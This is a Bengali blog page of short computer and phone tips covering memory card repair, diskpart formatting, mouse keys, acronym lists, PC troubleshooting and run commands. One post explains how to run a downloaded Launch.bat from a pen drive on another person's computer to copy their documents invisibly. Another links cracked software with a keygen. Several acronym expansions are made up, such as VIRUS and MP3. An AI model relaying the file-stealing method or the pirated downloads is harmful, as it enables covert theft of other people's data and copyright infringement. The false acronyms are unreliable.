Tips লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান
Tips লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান

নষ্ট মেমোরি কার্ড ঠিক করার উপায় ।

নষ্ট মেমোরি কার্ড ঠিক করার উপায় ?
তথ্য আদান প্রদান করার সময় ফোনের মেমোরি কার্ড হঠাৎ.খুলে নেওয়া হলে বা কোনো ভাবে সংযোগ বিছিন্ন হলে সেটি ক্ষতিগ্রস্ত হয়ে অকেজো হতে পারে। নানাভাবে এমন অকেজো মেমোরি কার্ড সচল করা গেলেও সম্পূর্ণভাবে ক্ষতিগ্রস্ত এবং বাহ্যিকভাবে নষ্ট প্রায় কার্ডকে ঠিক করতে ডেটা রিকভারি সফটওয়্যার ব্যবহার করতে হবে। মেমোরি কার্ডের তথ্য দেখা যাচ্ছে, কিন্তু সেটি ব্যবহার করা না গেলে আপনাকে এই সফটওয়্যার সমাধান দিতে পারে। এ ক্ষেত্রে ডেটা উপস্থিত থাকে কিন্তু কম্পিউটার বা অন্য যন্ত্র সেটিকে পড়তে (রিড) পারে না।

এক্ষেত্রে সবাই ভাবে যে মেমোরি কার্ডটি বোধহয় নষ্ট হয়ে গেছে। কিন্তু না, এমন অবস্থা থেকে আমরা মেমোরি কার্ডটাকে ফিরিয়ে আনতে পারি।
এ জন্য কার্ড রিডারে মেমোরি কার্ড ঢুকিয়ে নিয়ে কম্পিউটারে সংযোগ দিন। খেয়াল রাখুন, মেমোরি কার্ড ফাইল এক্সপ্লোরারে বা হার্ড ড্রাইভের অন্যান্য ডিস্কের মতো দেখালে এটিতে প্রবেশ করা যাবে না, কিন্তু ফাইল সিস্টেম ঠিক আছে। এবার য়াপনার উইন্ডোজ এর স্টার্ট মেন্যুতে গিয়ে cmd লিখুন। এতে আপনার স্টার্ট মেন্যুর উপর দিকে কমান্ড প্রম্পট(cmd) দেখা যাবে। এখন এর ওপর ডান বোতাম চেপে Run as administrator নির্বাচন করে সেটি খুলুন। কমান্ড
প্রম্পট চালু হলে এখানে chkdsk mr লিখে enter ক্লিক করুন। এখানে m হচ্ছে মেমোরি কার্ডের ড্রাইভ। কম্পিউটারে কার্ডের ড্রাইভ লেটার যে টি দেখাবে সেটি এখানে লিখে চেক ডিস্কের কাজটি সম্পন্ন হতে দিন।
এখানে convert lost chains to files বার্তা এলে y চাপুন। এ ক্ষেত্রে ফাইল কাঠামো ঠিক থাকলে কার্ডের তথ্য আবার ব্যবহার করা যাবে। মেমোরি কার্ড যদি invalid file system দেখায় তাহলে সেটির ড্রাইভের ডান ক্লিক করে Format-এ ক্লিক করুন। File system থেকে FAT নির্বাচন করে Quick format-এর টিক চিহ্ন তুলে দিয়ে Format-এ ক্লিক করুন। ফরম্যাট সম্পন্ন হলে মেমোরি
কার্ডের তথ্য হারালেও কার্ড নষ্ট হবে না।
Read more

এন্ডোয়েড ব্যবহার করছেন?যেকোনো মুহুর্তে আপনার ফোনের Power বাটন নষ্ট হয়ে যাবার সম্ভাবনা? অথবা হয়ে গেছে? দেখেনিন একনজরে।

যারা এন্ডোয়েড ফোন ব্যবহার করেন যাদের অনেকের ফোনের power বাটন নষ্ট হয়ে গেছে বা হওয়ার মত অবস্থা তারা একটু মাথা খাটালেই অনেকাংশ সমস্যা সমাধান করা সম্ভব।
কিভাবে? বলছি, একটু ধৈর্য ধরুন।
ধাপঃ
১.আপনার ফোন যদি চালু করা থাকে অথবা কোনভাবে চালুকরতে পারেন তাহলেই হল। এবার আপনার ফোনের সেটিংস থেকে "Schedule power on & off" option ব্যবহার অর্থাৎ নির্দিষ্ট সময় সেট করে দিন। এতে আপনার ফোন যদি কোন কারনে বন্ধ হয় তখন ওই নির্দিষ্ট সময়ে চালু হয়ে যাবে।power বাটন এর দরকার হবে না।


২.এবার ধরুন আপনার এই ফোনের সিম অথবা মেমুরি কার্ড পরিবর্তন করতে চান। ব্যাটারি খুললে বন্ধ হয়ে যাবে।তখন আবার ওই টাইমের জন্য অপেক্ষা করতে হবে? না।এবার যা করতে হবে ব্যাটারি খুলে সিম,মেমুরি বদলানোর আগে "Schedule power on & off" টা change করে সিম,মেমুরি বদলাতে কতক্ষণ লাগবে সেটা অনুমান করে সেট করে দেন।ব্যাস আপনার দেয়া টাইমে চালু হয়ে যাবে।
**যাদের নষ্ট হবার সম্ভাবনা আছে তারাও এটা করে রাখতে পারেন।কাজে দেবে।আমার করা ছিল বলে বেচে গেছি। ঠিক করতে কিছু সময় আর টাকার ব্যাপার বলে কথা।
[বিঃ দ্রঃ যদি কার ফোনের "Schedule power on & off" না থাকে অথবা খুজে না পান তাহলে "Clock" থেকে এলার্ম (Alarm)সেট করে করতে পারেন।একই কাজ করবে।]
Read more

হঠাৎ মাউস নষ্ট হয়ে গেলে যা করবেন।




হঠাৎ করেই মাউস নষ্ট হলে কি করবেন?
যেনে নিন এখন প্রায় সময়ই দেখা যায়
মাউসে সিঙ্গেল ক্লিক করলে ডাবল
ক্লিক লেগে যায়, আবার অনেক সময়
দেখা যায় দুই তিনটা ক্লিক করলেও
ঠিক মতো ক্লিক লাগেনা। আজকে আমি
আপনাদের দেখাবো জরুরী মূহুর্তে এই
ধরনের সমস্যা হলে মাউস বাদ দিয়ে
কিভাবে কিবোর্ড কেই মাউসে
রূপান্তরিত করে কাজ চালিয়ে যাবেন।
তাহলে চলুন কথা না বারিয়ে
কাজে লাগে পরি।
প্রথমেই আপনার কম্পিউটারের কিবোর্ড
থেকে Num Lock, of করে রাখুন। এবার
কিবোর্ড থেকে এক সাথে Alt +shift+num
Lock চাপুন। এবার দেখুন নিচের চিত্রের
মতো একটি মেসেজ আসবে, নিচের চিত্র
দেখুন।
এবার tab বাটন চেপে yes সিলেক্ট করে
এন্টার চাপুন পুরো বিষয়টা উপরের
চিত্রের মতো হবে। এবার কিবোর্ড এর
num Lock, on করুন, এবার num lock এর
অন্তর্ভুক্ত থাকা বাটন গুলো চাপ দিয়ে
দেখুন আপনার কিবোর্ডটি মাউসে
রূপান্তরিত হয়ে গেছে।
বন্ধুরা আজ এ পর্যন্তই কথা হবে পরবর্তী
টিউনে সেই পর্যন্ত সবাই ভালো
থাকবেন।
সবাইকে ধন্যবাদ
Read more

পযুক্তির কিছু সর্টফর্ম এর পূর্ণনাম।




১। Wi-Fi র পূর্ণরূপ —
Wireless Fidelity.
২। HTTP এর পূর্ণরূপ — Hyper
Text Transfer
Protocol.
৩। HTTPS এর পূর্ণরূপ — Hyper
Text Transfer
Protocol Secure.
৪। URL এর পূর্ণরূপ — Uniform
Resource Locator.
৫। IP এর পূর্ণরূপ— Internet
Protocol
৬। VIRUS এর পূর্ণরূপ — Vital
Information Resource
Under Seized.
৭। SIM এর পূর্ণরূপ —
Subscriber Identity
Module.
৮। 3G এর পূর্ণরূপ — 3rd
Generation.
৯। GSM এর পূর্ণরূপ — Global
System for Mobile
Communication.
১০। CDMA এর পূর্ণরূপ — Code
Divison Multiple
Access.
১১। UMTS এর পূর্ণরূপ —
Universal Mobile
Telecommunicati on
System.
১২। RTS এর পূর্ণরূপ — Real
Time Streaming
১৩। AVI এর পূর্ণরূপ — Audio
Video Interleave
১৪। SIS এর পূর্ণরূপ —
Symbian OS Installer File
১৫। AMR এর পূর্ণরূপ —
Adaptive Multi- Rate
Codec
১৬। JAD এর পূর্ণরূপ — Java
Application Descriptor
১৭। JAR এর পূর্ণরূপ — Java
Archive
১৮। MP3 এর পূর্ণরূপ — MPEG
player lll
১৯। 3GPP এর পূর্ণরূপ — 3rd
Generation
Partnership Project
২০। 3GP এর পূর্ণরূপ — 3rd
Generation Project
২১। MP4 এর পূর্ণরূপ —
MPEG-4 video file
২২। AAC এর পূর্ণরূপ —
Advanced Audio Coding
২৩। GIF এর পূর্ণরূপ — Graphic
Interchangeable
Format
২৪। BMP এর পূর্ণরূপ —
Bitmap
২৫। JPEG এর পূর্ণরূপ — Joint
Photographic Expert
Group
২৬। SWF এর পূর্ণরূপ — Shock
Wave Flash
২৭। WMV এর পূর্ণরূপ —
Windows Media Video
২৮। WMA এর পূর্ণরূপ —
Windows Media Audio
২৯। WAV এর পূর্ণরূপ —
Waveform Audio
৩০। PNG এর পূর্ণরূপ —
Portable Network Graphics
৩১। DOC এর পূর্ণরূপ —
Document (Microsoft
Corporation)
৩২। PDF এর পূর্ণরূপ —
Portable Document
Format
৩৩। M3G এর পূর্ণরূপ —
Mobile 3D Graphics
৩৪। M4A এর পূর্ণরূপ —
MPEG-4 Audio File
৩৫। NTH এর পূর্ণরূপ — Nokia
Theme (series 40)
৩৬। THM এর পূর্ণরূপ —
Themes (Sony Ericsson)
৩৭। MMF এর পূর্ণরূপ —
Synthetic Music Mobile
Application File
৩৮। NRT এর পূর্ণরূপ — Nokia
Ringtone
৩৯। XMF এর পূর্ণরূপ —
Extensible Music File
৪০। WBMP এর পূর্ণরূপ —
Wireless Bitmap Image
৪১। DVX এর পূর্ণরূপ — DivX
Video
৪২। HTML এর পূর্ণরূপ —
Hyper Text Markup
Language
৪৩। WML এর পূর্ণরূপ —
Wireless Markup
Language
৪৪। CD এর পূর্ণরূপ —
Compact Disk.
৪৫। DVD এর পূর্ণরূপ — Digital
Versatile Disk.
৪৬। CRT — Cathode Ray
Tube.
৪৭। DAT এর পূর্ণরূপ — Digital
Audio Tape.
৪৮। DOS এর পূর্ণরূপ — Disk
Operating System.
৪৯। GUI এর পূর্ণরূপ —
Graphical User Interface.
৫০। ISP এর পূর্ণরূপ —
Internet Service Provider.
৫১। TCP এর পূর্ণরূপ —
Transmission Control
Protocol.
৫২। UPS এর পূর্ণরূপ —
Uninterruptible Power
Supply.
৫৩। HSDPA এর পূর্ণরূপ —
High Speed Downlink
Packet Access.
৫৪। EDGE এর পূর্ণরূপ —
Enhanced Data Rate for
GSM [Global
System for Mobile
Communication]
৫৫। VHF এর পূর্ণরূপ — Very
High Frequency.
৫৬। UHF এর পূর্ণরূপ — Ultra
High Frequency.
৫৭। GPRS এর পূর্ণরূপ —
General Packet Radio
Service.
৫৮। WAP এর পূর্ণরূপ —
Wireless Application
Protocol.
৫৯। ARPANET এর পূর্ণরূপ —
Advanced Research
Project Agency Network.
৬০। IBM এর পূর্ণরূপ —
International Business
Machines.
৬১। HP এর পূর্ণরূপ — Hewlett
Packard.
৬২। AM/FM এর পূর্ণরূপ —
Amplitude/ Frequency
Modulation.
৬৩। WLAN এর পূর্ণরূপ —
Wireless Local Area
Network
৬৪। USB এর পূর্ণরূপ —
Universal Serial Bus
Read more

পেনড্রাইভ বা মেমোরি কার্ড ফরমেট হয় না- জেনে নিন এর সহজ সমাধান।

মাঝে মাঝে কিছু ভাইরাসের কারনে পেনড্রাইভ বা মেমোরি কার্ড ফরমেট হয় না অথবা পেনড্রাইভের স্পেস অনেকটা ব‍্যবহারের অযোগ‍্য হয়ে যায়। যাকে মেমোরির ভাষায় আনএলোকেটেড স্পেস বলা হয়। এই অানএলোকেটেড স্পেস সাধারনভাবে ফরমেট করা যায় না বলে একে কোন কাজে লাগানো যায় না। কম্পিউটারে ডস মোডের মাধ‍্যমে সহজেই এই আনএলোকেটেড স্পেসকে ফরমেট করে ব‍্যাবহার উপযোগী করা যায়। যেসকল পেনড্রাইভ বা মেমোরি সাধারনভাবে ফরমেট করা যায় না তাও এ উপায়ে ফরমেট করা যায়।



তো চলুন শুরু করিঃ
১। প্রথমে কম্পিউটার চালু করে পেনড্রাইভ বা মেমোরি কার্ড কম্পিউটারে কানেক্ট করে start+run এ যেতে হবে এবং সেখানে cmd লিখে এন্টার চাপতে হবে।
২। ডস মোডে কমান্ড প্রম্পট চালু হবে।
৩। এখানে diskpart লিখে এন্টার চাপতে হবে।
৪। list disk লিখে এন্টার চাপতে হবে।
৫। এখন একটা লিষ্টে পেনড্রাইভ সহ যে মেমোরি ড্রাইভগুলো কম্পিউটারে কানেক্ট করা আছে সেগুলো দেখাবে
৬। select disk 1 লিখে এন্টার চাপতে হবে। (কম্পিউটারে শুধু হার্ডডিস্ক ও পেনড্রাইভ লাগানো থাকলে disk 1 এ পেনড্রাইভ থাকে।)
(আরো ড্রাইভ লাগানো থাকলে disk 2 বা disk 3 হতে পারে। তখন select disk 2 বা select disk 3 লিখে এন্টার চাপতে হবে)
৭। clean লিখে এন্টার চাপতে হবে।
৮। creat partition primary লিখে এন্টার চাপতে হবে।
৯। exit লিখে এন্টার চাপতে হবে।
এখন দেখবেন আপনার পেনড্রাইভের সম্পূর্ণ স্পেস ব‍্যবহারের উপযোগী। যে পেনড্রাইভ বা মেমোরি ফরমেট হত না তা এখন আগের মত ফরমেট দিন। অবশ‍্যই ফরমেট নিবে।
Read more

কম্পিউটার এর ছোট খাটো সমস্যার সমাধান।

কম্পিউটার চালাতে গিয়ে আমরা কতই না বহুমুখী সমস্যার সম্মুখীন হই ।সেই সমস্যা ছোট হোক বা বড় হোক আমরা একদল লোক আছি যারা সমস্যা দেখলেই সার্ভিস সেন্টারে দৌড় দেই ।কিন্তু আপনি চাইলে নিজে নিজেই কম্পিউটারের সাধারণ সমস্যাগুলো সমাধান করে ফেলতে পারেন ।এতে একদিকে যেমন আপনার অর্থ বাঁচবে, তার পাশাপাশি আপনি আস্তে আস্তে হয়ে উঠবেন ছোটখাটো একজন কম্পিউটার এক্সপার্ট । আমার আজকের এই টিউনের উদ্দেশ্য অন্তত তাইই ।সুতরাং আর কথা বাড়াবো না ।চলুন আসল কাজ শুরু করা যাক.....

সমস্যা:সিস্টেম চালু হচ্ছেনা
সমাধান:মেইন পাওয়ার ক্যাবলের সংযোগটি loose কিনা চেক করুন ।যদি ঢিলে না হয় তবে মেইন বোর্ডে পাওয়ার আসছে কিনা দেখুন ।না আসলে বুঝতে হবে পিসির পাওয়ার সাপ্লাই ইউনিটে সমস্যা আছে ।এক্ষেত্রে পাওয়ার সাপ্লাই ইউনিট পরিবর্তন করতে হবে ।
সমস্যা:সিস্টেম সঠিকভাবে চলছে কিন্তু মনিটরে কিছু দেখা যাচ্ছেনা ।
সমাধান:সিস্টেম অফ করুন এবং মেইন সিস্টেম থেকে ক্যাবল খুলে ফেলুন ।এবার একটি ইরেজার দিয়ে Ram এর কানেক্টর এবং Ram Slot পরিষ্কার করে র্যামটি আগের মতো লাগান এবংপিসি স্টার্ট করুন ।পিসি অন হওয়ার সময় যদি কোনো বিপ সাউন্ড হয় তাহলে বুঝেই নেন যে আপনার পিসির র্যামটি সমস্যাযুক্ত । যদি Display তে কিছু না আসে তাহলে নতুন Ram লাগান ।কারণ ৫০% ক্ষেত্রে Display না আসার কারণ র্াম এর সমস্যা ।শেষ পর্যন্ত যদি সমাধান না হয় তাহলে আপনার নিকটস্ত কোনো সার্ভিস সেন্টারে নিয়ে দেখান ।
সমস্যা:সিস্টেম অত্যন্ত গরম হয়ে যায় এবং অস্বাভাবিকভাবে বন্ধ হয়ে যায় ।
সমাধান:পিসির ক্যাবিনেটটি খুলুন এবং মাদার্বোর্ড থেকে CPU ফ্যানটি সরান ।কিন্তু প্রসেসর সরানো যাবেনা ।ফ্যান খুলার পর হয়তো দেখবেন ভেতরে বা Hit Sink এ প্রচুর ধুলোবালি জমে আছে যা বায়ু চলাচলকে বাধাগ্রস্হ করছে ।এক্ষেত্রে Heat Sink এবং ফ্যানটিকে ভালোভাবে পরিষ্কার করে জায়গামতো লাগান এবং পিসি অন করুন ।
সমস্যা:কোনোরুপ উত্তপ্ত হওয়া ছাড়াই পিসি কয়েক মিনিট পরপর ShutDown হয়ে যাচ্ছে ।
সমাধান:সতর্কতার সাথে পিসির মাদার্বোর্ড দেখে নিন ।লক্ষ্য করুন লিকযুক্ত বা ক্রুটিপূর্ণ ক্যাপাসিটির উপর থেকে খুলে এসেছে কিনা ।যদি এরকম হয় তবে ক্যাপাসিটরকে ভালো করে লাগিয়ে নিলেই হয় । কিন্তু IC যদি অতিরিক্ত তাপ উৎপাদন করে তাহলে মেরামতের জন্য সার্ভিব সেন্টারে যাওয়া ছাড়া উপায় নেই ।
সমস্যা:উইন্ডোজ রান করার সময় আটকে থাকে বা হ্যাং করে ।
সমাধান:আপগ্রেড এন্টিভাইরাস দিয়ে ভাইরাস চেক করুন ।যদি ধরা না পড়ে তবে C ড্রাইভ ফরম্যাট করে নতুন করে OS সেটাপ করুন । তবে তার আগে অবশ্যই ডাটার ব্যাকাপ করে নিবেন ।
সমস্যা:পিসির পাওয়ার অন করলে Display আসার পর পিসি হ্যাং করে ।
সমাধান:
প্রথম ধাপ:
পিসির পাওয়ার অফ করে কেসিংয়ের এক পার্শ্ব খুলে হার্ড ডিস্ক, CD/DVD ROM এর ক্যাবল খুলে আবার জায়গামতো লাগান এবং পিসি অন করুন ।এরপরও যদি সমস্যা থেকে যায়-
দ্বিতীয় ধাপ:
মাদারবোর্ডের ক্রতিটি হারাডওয়্যার ভালো করে পরিক্ষা করুন এবং কোনো ক্রুটি থাকলে ঠিক করুন ।এরপরও যদি একই সমস্যা থাকে-
তৃতীয় ধাপ:
মাদারবোর্ডটিকে অন্য একটি পিসিতে সংযুক্ত করে দেখুন ঠিক আছে কিনা ।যদি না চলে তাহলে বুঝে নিবেন মাদারবোর্ডের মৃত্যু হয়েছে :p
সমস্যা:পিসির মেটাল অংশে স্পর্শ লাগলে শক করে ।
সমাধান:পিসির মেটাল অংশে যদি হাত কিংবা স্পর্শ লাগলে শক করে তাহলে বুঝতে হবে আপনার পিসি আর্থিং করানো নেই ।এক্ষেত্রে আপনি একজন ইলেকট্রিশিয়ানের সহায়তায় পিসিটিকে আর্থিং করিয়ে নিতে হবে ।
সমস্যা:পিসির সময় তারিখ ঠিক থাকেনা বা বায়োসের কোনো সেটিংস পরিবর্তন করলে সেইভ হয়না ।
সমাধান:Motherboard এর সংযুক্ত CMOS Battery কার্যক্ষমতা হারালে এমনটি ঘটে ।তাই এক্ষেত্রে একমাত্র সমাধান হল নতুন সিমোস ব্যাটারি লাগানো ।
সমস্যা:মনিটরে কোনো পাওয়ার নেই ।
সমাধান:পাওয়ার বোতাম চালু আছে কিনা নিশ্চিত হন এবং এও নিশ্চিত হন যে AC POWER কর্ডটি পেছনে এবং পাওয়ার আউটলেটে ভালোভাবে সংযুক্ত আছে কিনা ।
সমস্যা:মনিটরে পাওয়ার অন কিন্তু কোনো ছবি নেই ।
সমাধান:মনিটরের সাথে ভিডিও ক্যাবলটি পিসির সাথে ভালভাবে যুক্ত আছে কিনা দেখুন ।না থাকলে দৃঢ়ভাবে লাগিয়ে নিন ।কাজ না করলে Contrast and Brightness ঠিক করে দেখুন ।
সমস্যা:কীবোর্ড কাজ করছেনা
সমাধান:কীবোর্ড পিসির পোর্টের সাথে ভালভাবে যুক্ত আছে কিনা সে বিষয়টি লক্ষ্য করুন ।যদি ঠিক থাকে তাহলে ভাইরাস চেক করে ডিলিট করুন ।তাও যদি না হয় তবে বুঝতে হবে কীবোর্ডটি নষ্ট হয়ে গেছে ।এক্ষেত্র নতুন কীবোর্ড কিনতে হবে ।
সমস্যা:মাউস কাজ করেনা বা মাউস ডিটেক্ট করেনা ।
সমাধান:পিসির পোর্ট চেক করুন এবং বায়োসে প্রবেশ করে দেখুন মাউস Disable করা কিনা ।যদি Disable করা থাকে তাহলে এনাবল করে সেইভ করে বেরিয়ে আসুন ।
সমস্যা:Boot Disk Failure or Hard Disk Not Found ম্যাসেজ প্রদর্শন করে ।
সমাধান:কম্পিউটার বন্ধ করে কেসিং খুলে Motherboard এবং Hard Disk Drive এর সাথে Data Cable এবং Power Supply Unit থেকে Hard Disk সংযুক্তস্থলে কোনো লুজ আছে কিনা তা চেক করুন ।ঠিক থাকলে Hard Disk এর পিছনের জাম্পার সেটিং অনুসরণ করে ড্রাইভটির জাম্পার সেটিং ঠিক আছে কিনা চেক করুন । Hard Disk Failure ম্যাসেজ দেখালে পিসি চালিয়ে বায়োসে প্রবেশ করে হার্ড ডিস্ক ড্রাইভটিকে বায়োসের অপশন থেকে অটো কিংবা ম্যানুয়ালি ডিটেক্ট করে কিনা তা দেখুন ।যদি সমস্যার সমাধান না হয় তাহলে অন্য একটি ভালো পিসিতে hard disk লাগিয়ে দেখুন চলে কিনা ।কাজ না করলে নতুন hard disk লাগিয়ে নিতে হবে ।
সমস্যা:কম্পিউটার ঘন ঘন হ্যাং করে বা রিস্টার্ট নেয় ।
সমাধান:কম্পিউটারের সিপিউর উপর যুক্ত কুলিং ফ্যানটি না ঘুরলে কিংবা পর্যাপ্ত ঠান্ডা না থাকলে এ ধরনের সমস্যা হতে পারে ।সেক্ষেত্রে পিসির কেসিং খুলে কুলিং ফ্যানটিকে ভালভাবে চেক করতে হবে ।প্রয়োজনে নতুন কুলিং ফ্যান স্থাপন করে নিতে হবে ।এছাড়াও অনেক সময় ভাইরাস সমস্যার কারণেও এমনটি হয়ে থাকে ।তাই আপনার পিসিতে অবশ্যই ভালো মানের কোনো এন্টিভাইরাস ব্যাবহার করবেন এবং তা নিয়মিত আপডেট করবেন ।ব্যাকডেটেট এন্টিভাইরাস নতুন নতুন ভাইরাসের বিরুদ্ধে কাজ করতে পারেনা ।
আজ এই পর্যন্তই ।আবারও আপনাদের সামনে হাজির হবো নতুন কোনো টিউন নিয়ে খোদা হাফেজ ।
Read more

ল্যাপটপ অতিরিক্ত গরম হয়ে যাচ্ছে? সমাধান নিন।

নতুন ল্যাপটপ কেনার পর প্রায় বছর খানেক ভাল ভাবেই সার্ভিস দেয় । এর পর বেশি গরম হয়ে যায় নীল স্ক্রিন চলে আসে মাঝে মাঝে। স্লো হয়ে যায়। সেক্ষেত্রে আপনার যা করনীয়। যেখান দিয়ে ল্যাপটপের গরম বাতাস বের হয় সেখানে যদি একটি ডিম রেখে দেন তা হলে আমার মনে হয় ডিমটি খাওয়ার উপযুক্ত হয়ে যাবে।
প্রথম ধাপ:---


আপনার ল্যাপটপের ব্যাটারিরে আইকন টিতে Left বাটনে ক্লিক করে মোর পাওয়ার অপশনে যান। এরপর পরের চিত্র টি দেখুন।

এর পর    High performance    থেকে       Change plan setting --এ ক্লিক করুন। এরপর পরের চিত্র টি দেখুন।

Change advanced power setting ---এ ক্লিক করুন।






 

 এর পর  Step-5,এ ক্লিক করুর  and  Step-6 -এর Plugged in: এখানে ক্লিক করুন। এরপর




Plugged in 85% করে Apply then ok ক্লিক করুন। এরপর রিস্টাট করে দিন ।
এরপর যদি কাজ না করে তবে আপনাকে আরেকটু কষ্ট করতে হবে যেমন:-----------

ল্যাপটপের পিছনের ব্যাক কাভার খুলুন এর পর এই কাজটি করুন যেমন:--------

বাতাস বের হবার রাস্তা এবং ফ্যান ক্লিন করে দিন। এর পর আরেকটি কাজ করবেন যেমন:-----  তার আগে একটি কথা বলে নেই ল্যাপটপ বালিসের উপর রেখে ব্যবহার করবেন না তা হলে আর বেসি গরম হবে। নিচের চিএটি দেখুন

এমন ভাবে ল্যাপটপ বসাবেন যাতে করে বাতাস যাওয়া আসা করতে পারে।  আরো ভালোহবে ল্যাপটপের নিচে পাখা ব্যবহার করুন।    আশারাখি সবার উপকারে আসবে।
Read more

পেনড্রাইভ কে বানিয়ে ফেলুন একটি Hacking Device !

এবার আপনি আপনার পেনড্রাইভ কে বানিয়ে ফেলুন একটি Hacking Device.....
কিভাবে করবেন ????
এই টিপ্সটি কারো ক্ষতির উদ্দেশ্যে ব্যাবহারের জন্য নয়  ।




প্রথমে যেটা করতে করতে হবে, নিচের লিঙ্ক থেকে ডাউনলোড করে নিন PC2PD.rar সফ্টওয়্যার টি ।
https://www.dropbox.com/s/j36owm2ysijbhga/PC2PD.rar
তারপর extract করুন আপনার Pen drive. (পেনড্রাইভ টি NTFS এ Format থাকলে ভাল)
Pen drive এ ALL নামে একটি ফোল্ডার বানান।
ব্যাস হয়ে গেল।
এরপর অন্য কম্পিউটার এ Pen drive ঢোকান আর   Launch.bat ফাইল টিকে রান করান।
দেখবেন ওই কম্পিউটার টির My Documents এর ফাইল আপনার ALL ফোল্ডার এর মধ্যে ঢুকে যাবে ।
আর এই পুরোটাই হবে invisible ভাবে।
ধন্যবাদ সবাইকে
Read more

অপ্রয়োজনীয় JUNK ফাইল ডিলিট করার সহজ উপায়

আমাদের প্রতিদিন বিভিন্ন সাইটে ভিজিট করতে হয়। বিভিন্ন ফটো, ভিডিও, সফটওয়ার ইত্যাদি ব্যবহার করেত হয়। আর এর ফলে প্রচুর পরিমানে অপ্রয়োজনীয় ফাইল তৈরী হয়। যা কম্পিউটারকে স্লো করে দেয়। অতি সাধারন কাজ ও করতে অনেক সময় নেয়। এমন কি কম্পিউটার চালু হতেও প্রয়োজনের অধিক সময় নেয়। তাই প্রাতি দিন বার বার অপ্রয়োজনীয ফাইল গুলো খুজে খুজে ডিলিট করতে হয়। যা আমাদের অনেক সময় নষ্ট করে। আমরা অনেকে নির্ধারিত সময়ের জন্য ইন্টারনেট ব্যবহার করি কেউ রাতের প্যাকেজ ব্যবহার করি। তাই আমার খুব সামন্য সময়ের জন্যই ইন্টারনেট ব্যবহার করতে পারি এর উপরে যদি আবার বার বার অপ্রয়োজনী ফাইল মুছতে ব্যবহার করি তহলে তা খুব দুঃজনক। তবে এই কষ্ট কিছুটা দূর করা যাবে একটি ছোট সফটওয়ার ব্যবহার করে। ডাউনলোড করে ডাবল ক্লিক করুন। দেখবেন যেসব ফোল্ডারে অপ্রযোজনীয় ফাইলগুলো আছে সেগুলো একবারে খুলে যাবে। এখন আপনি Ctrl+A চেপে সব ফাইলগুলো সিলেক্ট করে ডিলিট করেদিন।


মিডিয়াফায়ারে ডাউনলোড করুন

Read more

Windows 7 এর লুকানো থিম !!!! কিভাবে ব্যবহার করবেন আসুন দেখি!

! Windows 7  এর Personalize menu তে আমরা এর নিজস্ব কিছু থিম দেখি যেগুলি Setting দেয়ার সময় Default হিসেবে set হয়ে থাকে। আমরা এই থিম গুলিই সাধারনত ব্যাবহার করে থাকি।



এই গুলি ছাড়াও Windows 7  এ রয়েছে আরও কিছু লুকানো থিম!!! আসুন দখি সেগুলি কিভাবে ব্যাবহার করা যায়।
প্রথমে আপনি windows এর Search Option  এ যেয়ে C:\Windows\Globalization\MCT  টাইপ করে সার্চ দিন।
আপনার Windows Explorer  কিছু নতুন থিম দেখাবে। এই থিম গুলি Great Britain, South Africa, Australia and Canadaএই সব দেশের।
এখান থেকে আপনি Wallpaper select করতে পারেন অথবা Theme install করে নিতে পারেন থিম install করতে সুধু মাত্র Double click করলেই হবে।
আপনার থিম টি add হয়ায় যাবে“My Themes” এর “Personalization” pane এ
:D সতরাং আপনি চাইলেই নিতে পারেন windows 7 এর লুকান থিম গুলির মজা।
Read more

COMPUTER চালু হচ্ছেনা,বুট নিচ্ছেনা,বারবার ON/OFF হচ্ছে,বা BLUE SCREEN সমাধান।

এটা একটি instant backup এবং restore software যা অনেক সহজে ও কম সময়ে কাজ করতে সক্ষম।
এই SOFTWARE সম্পর্কে  বিস্তারিত জানতে ভিজিট করুন। http://www.eazsolution.com/
FULL VER. DOWNLOAD LINK INCLUDING INSTRUCTION.
ডাউনলোড করুন, সাথে কিজেনারেটার এবং নির্দেশনা দেয়া আছে।
EAZ-FIX v9.1
link 1:  http://letitbit.net/download/4476.8c313eac54b672e28c6a3ac69e/E_A_ZPR0_.html
link 2: http://www39.zippyshare.com/v/55830985/file.html



u
Read more

ছুটি নিন.. PC একাই Refresh হবে..

আপনার কম্পিউটার অটো রিফ্রেশ সিস্টেম চালু করুন-



  প্রথমে start এ ক্লিক করুন।।এবার Run এ ক্লিক করুন।।টাইপ করুন regedit এবার Enter বাটন প্রেস করুন...Registry Editor নামে এক টা Window আসবে...এবার ক্লিক করুন HKEY-LOCAL-MACHINE এ।।এবার ক্লিক করুন SYSTEM এ।।এবার ক্লিক করুন CurrentControlSet এ।।এবার Control থেকে Update এ ক্লিক করুন।।এবার পাশের বক্সে UpdateMode এ ক্লিক করুন।।একটি Window নতুন আসবে যেখানে 1 লেখা থাকবে.. 1 মুছে 0 লিখে OK ক্লিক করুন...computer রি স্টার্ট করে দেখুন অটো রেফ্রেশ...
Read more

Mouse এর Scroll/Middle Button এর নানান ব্যবহার!

 আমরা অনেকেই মাউসের Scroll/Middle Button কে ব্যবহার করি শুধুমাত্র পেইজ Scroll করার কাজে। আসুন জেনে নিই এর অন্যান্য ব্যবহার কৌশল:



1. আপনার ব্রাউজারের যে কোন Tab এর উপর Middle Button Click করুন, ঐ Tab টি বন্ধ হয়ে যাবে।
2.  Website এর যে কোন লিংককে নতুন একটি Tab এ Open করতে চাইলে লিংকটিতে Middle Button Click করুন।
3.  আপনার যদি ফোল্ডারে বুকমার্ক Organize করার অভ্যাস থাকে তাহলে ঐ Folder এ Middle Button Click করুন সাথে সাথে ঐ ফোল্ডারের অন্তর্ভুক্ত সব লিংকগুলো আলাদা আলাদা Tab এ Open হবে।
4.  Page Scrolling এর জন্য Middle Button click and hold করে মাউসটি উপরে নিচে Move করান।
Read more

১১৫ টি রান কমান্ড !!!

দেখে নিন প্রয়োজনীয় ১১৫ টি রান কমান্ড আপনার কম্পিউটার এর জন্য-



1. Accessibility Controls - access.cpl
2. Accessibility Wizard - accwiz
3. Add Hardware Wizard - hdwwiz.cpl
4. Add/Remove Programs - appwiz.cpl
5. Administrative Tools - control admintools
6. Automatic Updates - wuaucpl.cpl
7. Bluetooth Transfer Wizard - fsquirt
8. Calculator - calc
9. Certificate Manager - certmgr.msc
10. Character Map - charmap
11. Check Disk Utility - chkdsk
12. Clipboard Viewer - clipbrd
13. Command Prompt - cmd
14. Component Services - dcomcnfg
15. Computer Management - compmgmt.msc
16. Control Panel - control
17. Date and Time Properties - timedate.cpl
18. DDE Shares - ddeshare
19. Device Manager - devmgmt.msc
